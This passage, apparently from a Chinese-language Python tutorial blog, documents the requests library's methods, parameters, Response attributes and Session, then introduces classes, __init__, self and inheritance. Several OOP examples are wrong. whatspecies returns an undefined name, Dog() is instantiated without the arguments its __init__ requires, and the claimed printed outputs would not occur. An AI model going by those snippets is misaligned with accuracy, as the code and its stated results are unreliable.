  • requests.put(url, data=None, **kwargs):发送 HTTP PUT 请求,常用于更新服务器上的资源。
  • requests.delete(url, **kwargs):发送 HTTP DELETE 请求,用于请求服务器删除指定的资源。
  • requests.head(url, **kwargs):发送 HTTP HEAD 请求,只返回响应头,不返回响应体。
  • requests.options(url, **kwargs):发送 HTTP OPTIONS 请求,用于获取服务器支持的请求方法等信息。
  • requests.request(method, url, **kwargs):通用的请求方法,可根据 method 参数指定的 HTTP 请求方法发送请求。

更多方法不再赘述,下面对各方法的参数进行说明:

requests 库各方法的参数与用法

通用参数(适用于所有HTTP方法)

所有请求方法(如 get(), post(), put() 等)都支持以下参数:

  1. url (必填)
  • 类型: 字符串

  • 作用: 请求的目标URL。

  • 示例:

    1
    response = requests.get(url="https://api.example.com/data")
  1. params (可选)
  • 类型: 字典、元组列表或字节

  • 作用: 将参数拼接到URL中,形成查询字符串(query string)。

  • 示例:

    1
    2
    3
    params = {'key1': 'value1', 'key2': 'value2'}
    response = requests.get(url, params=params)
    # 实际请求URL变为:https://api.example.com/data?key1=value1&key2=value2
  1. headers (可选)
  • 类型: 字典

  • 作用: 设置HTTP请求头信息(如User-Agent、Content-Type等)。

  • 示例:

    1
    2
    headers = {'User-Agent': 'my-app/1.0', 'Content-Type': 'application/json'}
    response = requests.get(url, headers=headers)
  1. timeout (可选)
  • 类型: 浮点数或元组

  • 作用: 设置请求超时时间(秒)。若服务器在指定时间内未响应,抛出 Timeout 异常。

  • 示例:

    1
    2
    response = requests.get(url, timeout=5)          # 连接+读取总超时5秒
    response = requests.get(url, timeout=(3, 10)) # 连接3秒,读取10秒
  1. auth (可选)
  • 类型: 元组或自定义认证类

  • 作用: 用于HTTP基本认证(如用户名密码)。

  • 示例:

    1
    2
    auth = ('username', 'password')
    response = requests.get(url, auth=auth)
  1. cookies (可选)
  • 类型: 字典或CookieJar对象

  • 作用: 发送Cookie到服务器。

  • 示例:

    1
    2
    cookies = {'session_id': '12345abc'}
    response = requests.get(url, cookies=cookies)
  1. allow_redirects (可选)
  • 类型: 布尔值

  • 作用: 是否允许重定向(默认True)。

  • 示例:

    1
    response = requests.get(url, allow_redirects=False)
  1. verify (可选)
  • 类型: 布尔值或字符串(证书路径)

  • 作用: 是否验证SSL证书(默认True)。设为False可跳过验证(不推荐生产环境使用)。

  • 示例:

    1
    response = requests.get(url, verify=False)  # 关闭SSL验证
  1. proxies (可选)
  • 类型: 字典

  • 作用: 设置代理服务器。

  • 示例:

    1
    2
    proxies = {'http': 'http://10.10.1.10:3128', 'https': 'http://10.10.1.10:1080'}
    response = requests.get(url, proxies=proxies)
  1. stream (可选)
  • 类型: 布尔值

  • 作用: 是否以流模式下载(适合大文件,避免立即加载到内存)。

  • 示例:

    1
    2
    3
    4
    5
    response = requests.get(url, stream=True)
    if response.status_code == 200:
    with open('large_file.zip', 'wb') as f:
    for chunk in response.iter_content(1024):
    f.write(chunk)

针对不同HTTP方法的参数

  1. GET请求:requests.get()
  • 主要用于获取数据,参数通过 params 传递。

  • 示例:

    1
    2
    3
    4
    response = requests.get(
    url="https://example.com/search",
    params={'query': 'python', 'page': 2},
    )
  1. POST请求:requests.post()
  • 用于提交数据,常用参数:**data**, json, **files**。

  • data 参数:

    • 类型: 字典、元组列表、字符串、字节流
    • 作用: 发送表单数据(application/x-www-form-urlencoded ,默认的表单编码格式,适用于提交简单的文本数据)。
    • 示例:
    1
    2
    3
    4
    5
     data = {'username': 'admin', 'password': 'secret'} # 字典类型
    response = requests.post(url, data=data)

    data = [('fruit', 'apple'), ('fruit', 'banana'), ('vegetable', 'carrot')] # 元组列表类型,适用于需要处理多个同名字段或对数据顺序有要求的情况。传参到服务端会把同名参数的值以类似 "fruit":["apple","banana"] 这样的形式存放。
    data = 'name=Bob&age=30' # 用于传输 URL 编码后的字符串
  • json 参数:

    • 类型: 字典
    • 作用: 发送JSON数据(自动设置Content-Type: application/json)。
    • 示例:
    1
    2
    json_data = {'name': 'John', 'age': 30}
    response = requests.post(url, json=json_data)
  • files 参数:

    • 类型: 字典
    • 作用: 上传文件(multipart/form-data ,用于上传文件或包含二进制数据的表单)。
    • 示例:
    1
    2
    files = {'file': open('report.pdf', 'rb')}
    response = requests.post(url, files=files)
  1. PUT请求:requests.put()
  • 用于更新资源,参数与 post() 相同(data, json, files)。

  • 示例:

    1
    response = requests.put(url, json={'title': 'New Title'})
  1. DELETE请求:requests.delete()
  • 用于删除资源,通常不需要请求体。

  • 示例:

    1
    response = requests.delete(url)
  1. 其他方法:head(), options(), patch()
  • 参数与 get()post() 类似,但使用频率较低。

高级参数:requests.request()

  • 作用: 通用请求方法,可通过 method 参数指定HTTP方法(如GETPOST)。

  • 示例:

    1
    response = requests.request(method='POST', url=url, json=data)

关于 requests 库返回的对象

在 Python 的 requests 库中,如 response = requests.get(url=url) 返回的是一个 对象(属于 requests.models.Response 类)。这个对象包含了 HTTP 请求的所有响应信息,但直接打印 response 并不会显示所有内容,而是会返回一个对象的内存地址表示(例如:<Response [200]>)。

以下是对 response 对象常用属性与方法的介绍:

常用属性

  1. status_code
    • HTTP 响应的状态码(如 200 表示成功,404 表示未找到)。
    • 示例:response.status_code
  2. text
    • 响应内容的字符串形式(自动根据响应编码解码)。
    • 示例:response.text
  3. content
    • 响应内容的二进制形式(原始字节流)。
    • 示例:response.content
  4. headers
    • 以字典形式返回响应头(键不区分大小写)。
    • 示例:response.headers['Content-Type']
  5. url
    • 最终请求的 URL(处理重定向后)。
    • 示例:response.url
  6. encoding
    • 响应的编码格式(可手动修改以修正解码问题)。
    • 示例:response.encoding = 'utf-8'
  7. cookies
    • 服务器返回的 Cookies(RequestsCookieJar 对象)。
    • 示例:response.cookies.get('session_id')
      (此处 get() 并非requests.get(),用于从 cookies 中获取指定名称的 cookie 值)
  8. history
    • 重定向历史记录(列表形式,按请求顺序排列)。
    • 示例:response.history[0].status_code

常用方法

  1. json()
    • 将 JSON 响应内容解析为 Python 字典/列表。
    • 示例:data = response.json()
  2. raise_for_status()
    • 若状态码为 4xx/5xx,抛出异常(用于错误处理)。
    • 示例:response.raise_for_status()

其他属性

  1. request
    • 返回对应的请求对象(包含请求方法、URL、头信息等)。
    • 示例:response.request.method
  2. elapsed
    • 请求耗时(datetime.timedelta 对象)。
    • 示例:response.elapsed.total_seconds()
  3. reason
    • 状态码的文本描述(如 200reasonOK)。
    • 示例:response.reason
  4. is_redirect
    • 布尔值,表示是否重定向。
    • 示例:if response.is_redirect: ...
  5. apparent_encoding
    • 通过内容推断的编码格式(比 encoding 更可靠)。
    • 示例:response.encoding = response.apparent_encoding
  6. raw
    • 原始响应流(需在请求中设置 stream=True)。
    • 示例:response.raw.read(10)

其他知识点

requests.Session()

Python 的 requests.Session()客户端的工具(注意与服务端的 Session 区分),目的是简化客户端与服务端交互时的状态管理。它的核心作用是:

**自动管理 Cookies **

  • 自动保存服务端通过 Set-Cookie 返回的所有 Cookies(包括 session_id 等)
  • 自动携带这些 Cookies 发送后续请求

示例:

1
2
3
4
5
6
7
8
9
10
import requests

# 创建客户端会话(自动管理 Cookies)
session = requests.Session()

# 1.服务端返回 Cookie 并自动保存到 Session 中
session.post("https://example.com/login", data={"user": "test", "pass": "123"})

# 2.通过 session.get() 这样的形式,自动携带 Cookie(无需手动处理 Cookie 并添加到 header 中)
response = session.get("https://example.com/profile")

其他功能

  • 连接池(Connection Pooling):复用 TCP 连接,提升性能
  • 统一配置:预先设置 Headers、Auth、Proxies 等,适用于所有请求

Python-面向对象入门

来看一个简单的定义类的案例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class Dog:
# 类属性
species = '犬科动物'

# 方法:返回种类
def whatspecies(self):
return species

# 构造函数:创建小狗时必须提供名字和年龄
def __init__(self, name, age):
self.name = name # 小狗的名字(属性)
self.age = age # 小狗的年龄(属性)

# 方法:小狗坐下
def sit(self):
print(f"{self.name} 乖乖坐下了!")

可以理解为,因为许多对象都有共同点,可以根据共同点对它们分类,所以有了“类”。不过,实践中往往是定义好类后,才以定义好的类为标准,“创造”出许多同一类的对象。这些被“创造”出来的对象,称为实例。用定义好的类“创造”对象的过程,称为实例化。

属性与方法,实例化

在类中可以定义属性和方法。如上面的代码段在类 Dog 中定义了属性 species 和方法 whatspecies__init__sit 等。

要调用某个类的属性和方法,可以直接通过 类名.属性/方法 这样的方式,也可以通过实例化。

类名.属性/方法

1
2
print(Dog().species) # 共输出2次“犬科动物”
print(Dog().whatspecies()) # 即使定义时省略了括号,Dog()在此处也不能省略括号,否则不会被当成类名

实例化
实例化是指用定义好的类“创造”对象,让不同的对象(实例)来自同一类,共享类中的属性与方法。

1
2
3
4
5
6
dog1 = Dog()
dog2 = Dog()
print(dog1.species)
print(dog1.whatspecies())
print(dog2.species)
print(dog2.whatspecies()) # 共输出4次“犬科动物”

另外,属性的定义与变量的定义一致,不过要调用时需要类名.属性或实例化的方式;但方法与函数的定义有一点不同:必须有一个额外的第一个参数名称, 按照惯例它的名称是 self (后面会细讲)。

__init__ 方法

上面的实例化是直接进行实例化,也可以通过 __init__() 方法实例化类。如上面案例中的:

1
2
3
4
5
6
7
8
9
class Dog:
# 构造函数:创建小狗时必须提供名字和年龄
def __init__(self, name, age):
self.name = name # 小狗的名字(属性)
self.age = age # 小狗的年龄(属性)

# 方法:小狗坐下
def sit(self):
print(f"{self.name} 乖乖坐下了!")

功能:在创建一个类的实例(对象)时,__init__ 方法会被自动调用,用于为对象设置初始属性。

对比一下有无 __init__ 方法的两种情况:

1
dog1 = Dog("大黄", 10)  # 创建对象时直接传入属性值
1
2
3
dog1 = Dog()
dog1.name = "大黄" # 手动添加属性
dog1.age = 10

上面的 Dog("大黄", 10) 分别传参给 name age 两个属性,再在 __init__ 方法中成为实例 dog1 的实例属性( self 表示实例本身)。

关于实例属性与类属性:类属性可被所有属于该类的对象调用(类似 dog1.species ,所有该类实例的 species 属性都是“犬科动物”),实例属性则只能通过该实例调用(dog1.name)。

关于 self
self 代表类的实例,而非类本身。类的方法相比普通函数只有一个特别的区别:它们必须有一个额外的第一个参数名称, 按照惯例它的名称是 self

1
2
3
4
5
6
7
class Test:
def prt(self):
print(self)
print(self.__class__)

t = Test()
t.prt()

以上实例执行结果为:

1
2
<__main__.Test instance at 0x100771878>
__main__.Test

从执行结果可以很明显的看出,self 代表的是类的实例,代表当前对象的地址,而 self.class 则指向类。
由于 self 并非关键字,所以可以将 self 替换成其他的关键字,也不会出现问题。
在 Python中,self 是一个惯用的名称,用于表示类的实例(对象)自身。它是一个指向实例的引用,使得类的方法能够访问和操作实例的属性。
当你定义一个类,并在类中定义方法时,第一个参数通常被命名为 self,尽管你可以使用其他名称,但强烈建议使用 self,以保持代码的一致性和可读性

核心概念解析

  1. 封装:把数据(属性)和操作(方法)打包在一起

    1
    2
    my_dog.age += 1  # 直接修改属性
    my_dog.sit() # 调用方法
  2. 继承:子类继承父类的特性(比如导盲犬是特殊的小狗)

    1
    2
    3
    4
    5
    6
    7
    class GuideDog(Dog):  # 继承自Dog类
    def guide(self):
    print(f"{self.name} 正在引导主人!")

    guide_dog = GuideDog("大黄", 4)
    guide_dog.sit() # 继承父类方法
    guide_dog.guide() # 子类新增方法
  3. 多态:不同对象对同一方法有不同的响应(比如猫狗的叫法不同)